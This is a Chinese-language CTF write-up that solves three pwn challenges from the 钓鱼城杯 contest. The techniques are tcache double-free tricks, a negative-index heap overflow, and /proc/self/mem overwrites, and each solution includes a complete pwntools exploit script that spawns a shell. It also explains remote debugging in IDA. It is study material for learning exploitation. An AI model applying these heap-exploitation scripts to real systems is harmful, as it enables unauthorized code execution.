钓鱼城杯Pwn Writeup学习

 

作者:Alter@星盟

前言

星盟萌新,最近和师傅们一起打了钓鱼城杯比赛,虽然我实力有限全程只能划水,但师傅们太强了直接被带飞,所以赛后借着师傅们的WP复现学习了一下,把自己遇到的问题尽可能详细的写了一下,希望可以帮到和我一样的PWN新手

 

钓鱼城杯Veryeasy

UAF+tcache attack

1、将tcache放满的另一种方法

将一个chunk double free到tcache中之后,连续申请这个chunk 3次,tcache这条链就会被记为-1,然后再次删除这个size的chunk就会被放入unsorted bin中,如下图:

申请一次之后

以此类推,申请3次之后

此时变成-1之后应该是整数溢出,-1相当于最大的正数0xff大于7,所以下一个chunk会被放入unsorted bin中

本地关闭ASLR之后,Main arena和IO stdout居然不在一个内存页,挺神奇的。不过开启之后还是在同一个内存页的

2、常规分析

全保护

3、IDA分析

有增删改功能,但是没有show函数,所以需要修改IO stdout

  • delete函数

漏洞点,显然有UAF漏洞,但是这里有一个if判断,dword_202010最开始为9,每add一次或者edit一次就会-1,dword_20204c每删除一次就会+1

4、利用思路

由于开启了全保护且没有show函数,所以需要通过IO stdout泄露libc地址,但是限制了tcache的删除次数,所以通过向tcache里放7个chunk的方法行不通(其实好像也行,通过add和edit使dword_202010整数溢出就行,不过有点麻烦),所以这里采用上面说的方法,先double free再申请3个chunk将tcache的计数器变成-1导致整数溢出,然后再次free就会放到unsorted bin中,通过edit部分写main arena修改为IO stdout的地址,然后申请两个chunk到IO stdout 修改flags为0xfbad1887并改小writebase为0x58,泄露出libc。然后通过2次edit函数将dword_202010减为为-1整数溢出,再通过double free chunk1申请到free hook的地址,修改为system即可,getshell

5、EXP:(来自haivk师傅的exp,稍有改动)

from pwn import *
#context.log_level='debug'
#p=process('./veryeasy')
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def add(idx,size,content):
  p.recvuntil("Your choice :")
  p.sendline('1')
  p.recvuntil("id:\n")
  p.sendline(str(idx))
  p.recvuntil("please input your size:\n")
  p.sendline(str(size))
  p.recvuntil("content:\n")
  p.send(content)

def edit(idx,content):
  p.recvuntil("Your choice :")
  p.sendline('2')
  p.recvuntil("id:\n")
  p.sendline(str(idx))
  p.recvuntil("content:\n")
  p.send(content)

def delete(idx):
  p.recvuntil("Your choice :")
  p.sendline('3')
  p.recvuntil("id:\n")
  p.sendline(str(idx))

def pwn():
  add(0,0xf0,'a')
  add(1,0x10,'a')
  delete(0)
  delete(0)
  add(2,0xf0,'\x60')
  add(3,0xf0,'\x60')
  add(4,0xf0,'\x60')
  delete(0)
  #edit(0,'\x60\x07\xdd')
  edit(0,'\x60\x97')
  add(5,0xf0,'a')
  #gdb.attach(p)
  add(6,0xf0,p64(0xfbad1887)+p64(0)*3+'\x58')
  #p.recvuntil('\n')
  libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x3e82a0
  print hex(libcbase)
  free_hook=libcbase+libc.sym['__free_hook']
  system=libcbase+libc.sym['system']
  edit(0,'a')
  edit(0,'a')
  #gdb.attach(p)
  delete(1)
  edit(1,p64(free_hook))
  add(7,0x10,'/bin/sh\x00')
  add(8,0x10,p64(system))
  delete(7)
  p.interactive()

#pwn()
while True:
  try:
    p=process("./veryeasy")
    pwn()
    p.interactive()
  except:
    p.close()
    print ("retrying...")

 

钓鱼城杯unknown

程序自修改解密(比较逆向)+堆溢出+tcache attack

1、常规分析

保护全开

2、IDA分析

用IDA打开后发现,里面没有什么正常的函数,无法反汇编,发现是中间有一些加密之后的指令混在函数中,导致反汇编失败。在haivk师傅的帮助下,通过IDA的动态调试,运行程序,利用程序的自修改解密,得到正常的elf文件(具体过程参照文末IDA动态调试)

  • Menu函数

写得奇奇怪怪,其实就是增删改查功能

  • add函数

仔细看会发现对于idx只做了上限,没有考虑下限,所以我们可以输入负数,v3是一个int类型的数,是有正负的,所以没有整数溢出,但是仔细想想会发现向ptr[-1]这个位置写就有点意思了,这个位置在ptr地址的上面

  • delete函数

没有UAF,非常正常

  • show函数

给了show函数,挺开心的,不同再修改IO_stdout泄露libc了

  • edit函数

发现向堆中读入Size数组记录的那么多个字节

3、利用思路

粗看好像没有什么漏洞,但是仔细想想结合add和edit函数,会发现一个问题,add函数可以申请index为-1的chunk,查看一下ptr和Size数组的地址

发现正好相差了0x80,而0x80/8=16,正好是16个p64长度的东西,而这些地址全是用来记录chunk的size的,所以我们申请index为负数的chunk就意味着可以修改Size数组中的size的值,而edit读入的size又是根据这个数组中的size确定的,所以我们就有了一个堆溢出漏洞。

首先将一个chunk放到unsorted bin中,用show函数泄露出libc地址,再申请index为-1的chunk,实现栈溢出,将一个free掉了的tcache chunk的fd指针修改为free hook,在通过tcache poisioning申请得到free hook,修改为system函数地址即可getshell

申请index=-1的chunk前后Size的变化

申请前

申请后

可以看到原本Size[15]=0,申请index=-1的chunk之后,Size[15]被修改成了堆地址,而这个值很大,所以我们可以向chunk 15中写入这么多字节的数据,实现了堆溢出,之后修改fd指针就行了

EXP:(改编自haivk师傅的exp)

from pwn import *
context.log_level='debug'
p=process("./unknown")
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def add(idx,size):
  p.recvuntil("Your choice: ")
  p.sendline('1')
  p.recvuntil("Index: ")
  p.sendline(str(idx))
  p.recvuntil("Size: ")
  p.sendline(str(size))

def edit(idx,content):
  p.recvuntil("Your choice: ")
  p.sendline('2')
  p.recvuntil("Index: ")
  p.sendline(str(idx))
  #p.recvuntil("\n")
  sleep(0.2)
  p.send(content)

def show(idx):
  p.recvuntil("Your choice: ")
  p.sendline('3')
  p.recvuntil("Index: ")
  p.sendline(str(idx))

def delete(idx):
  p.recvuntil("Your choice: ")
  p.sendline('4')
  p.recvuntil("Index: ")
  p.sendline(str(idx))

add(0,0x100)
for i in range(1,8):
  add(i,0x100)
for i in range(1,8):
  delete(i)
delete(0)
add(15,0)
add(1,0x20)
#add(9,0x30)
show(15)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=main_arena-0x3ebda0
print hex(libcbase)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
gdb.attach(p)
add('-1',0x20)
delete(1)
edit(15,'a'*0x10+p64(0)+p64(0x31)+p64(free_hook)+'\n')
add(2,0x20)
add(3,0x20)
edit(2,'/bin/sh\x00\n')
edit(3,p64(system)+'\n')
delete(2)
p.interactive()

 

钓鱼城杯Fsplayground

/proc/self/maps和/proc/self/mem的理解和利用

1、前置知识

(1)/proc目录

Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。

/proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息

(2)/proc/self目录

由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID

(3)/proc/self/maps

这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址

(4)/proc/self/mem

该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是如果直接读的话就会出现下面的报错

需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。

也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode等

2、常规分析

保护全开

3、IDA分析

  • menu函数

发现是一个文件读写系统

  • open函数

读取的文件名不可以包含flag字符串,所以无法直接读取flag,但是会发现只有这一个限制,所以我们可以打开除包含flag字节在内的任意文件,然后还要两个选项可以选择文件打开的状态,只读或者读写。然后只能同时打开一个文件

  • close函数

把打开的文件关闭

  • seek函数

可以切换文件中指针的位置,实现该文件任意位置的读写

  • read函数

将文件中的内容读出,并打印到终端

  • write函数

将终端输入写入到文件中

4、利用思路

因为无法打开flag随意不能直接读取flag,要想办法getshell。根据Linux的知识可知,/proc/self/maps中有内存映射关系,可以泄露libc地址,然后通过修改/proc/self/mem可以直接修改程序内存。所以思路就是打开/proc/self/maps文件读取libc地址,然后通过/proc/self/mem将free hook修改为system的地址。因为上边的write中使用了free函数并将我们输入的内容作为参数释放,所以我们可以直接在我们输入的内容中就布置/bin/sh参数

EXP:(来自NU1l战队的wp,稍作修改)

from pwn import *
context.log_level='debug'
p=process("./fsplayground")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def openfile(name,option):
  p.recvuntil("Your choice: ")
  p.sendline('1')
  p.recvuntil("Filename: ")
  p.sendline(str(name))
  p.recvuntil("Option: ")
  p.sendline(str(option))

def closefile():
  p.recvuntil("Your choice: ")
  p.sendline('2')

def seekfile(offset):
  p.recvuntil("Your choice: ")
  p.sendline('3')
  p.recvuntil("Offset: ")
  p.sendline(str(offset))

def readfile(size):
  p.recvuntil("Your choice: ")
  p.sendline('4')
  p.recvuntil("Size: ")
  p.sendline(str(size))

def writefile(size,content):
  p.recvuntil("Your choice: ")
  p.sendline('5')
  p.recvuntil("Size: ")
  p.sendline(str(size))
  p.recvuntil("Content: ")
  p.send(content)

openfile("/proc/self/maps\x00",0)
readfile(0x1000)
r=p.recvuntil("6. exit").splitlines()#这里将maps中的内容全部读入,然后用splitlines分成一行行,再通过循环寻找libc-2.27也就是libc的基地址那行,找到之后打印出来
find=''
for i in r:
  if 'libc-2.27.so' in i and 'r-xp' in i:
    find=i
    break
print (find)
libcbase=int(find[:12],16)
print hex(libcbase)
closefile()

openfile("/proc/self/mem\x00",1)
seekfile(libcbase+libc.sym["__free_hook"]-8)
writefile(0x10,'/bin/sh\x00'+p64(libcbase+libc.sym['system']))
p.interactive()

参考链接:

https://www.jianshu.com/p/3fba2e5b1e17

https://blog.csdn.net/dillanzhou/article/details/82876575

 

IDA动态调试

IDA Pro非常强大,可以动态调试,之前一直都不太会使用,一直都是用的gdb,虽然现在会了之后还是觉得gdb比较好用2333

在钓鱼城杯的一道题中从haivk师傅那里得知了IDA动态调试的方法,可以用来解决一些程序无法直接反汇编的问题。可以尝试使用IDA动态调试,利用程序自修改解密,拿到正常的代码

1、IDA动态调试步骤(以Windows下为例)

用IDA调试ELF文件,是无法完全独立依靠Windows完成的,需要一个Linux虚拟机

(1)

首先将在Windows中的IDA文件夹里找出linux_server(64)这两个运行程序,然后将其复制到Linux中

(2)

在Linux中sudo 运行Linux_server,如果64位程序就选64位的server。

(3)

打开IDA将需要分析的bin文件拖入到IDA中,并在debugger—>selete debugger中选择remote Linux debugger

上一步完成之后,debugger就会变成下图这样,选择process options

接下来这一步很关键,很大程度上决定了能不能调试成功

在application和input file中都要填入Linux中elf文件的路径(包括程序),在dir中填入elf文件所在的文件夹路径,hostname这里需要写入Linux的ip地址,由于我做了端口映射,所以我直接填入localhost。确定即可

(4)

接下去选择start process或者选择attach to process,如果我们选择了attach这一步,那就需要在Linux中先运行要调试的程序,然后attach到这个程序的进程上即可。(两个效果不一定一样,一个远程一个本地)

(5)

接下去基本上就是正常的调试了,虽然我不太会

需要注意的是,如果该程序是自修改解密的,那么解密之后的那部分数据依然是以数据的形式存在在文件中的,所以我们需要使用c(code)指令将这段数据强制转换成代码,之后create function就可以正常F5了

 

总结:

感谢haivk师傅的讲解,感觉自己在逆向方面了解的比较少,对Linux系统内部一些实现不够了解,希望可以跟着星盟的师傅们学习,也欢迎其他师傅们加入星盟

(完)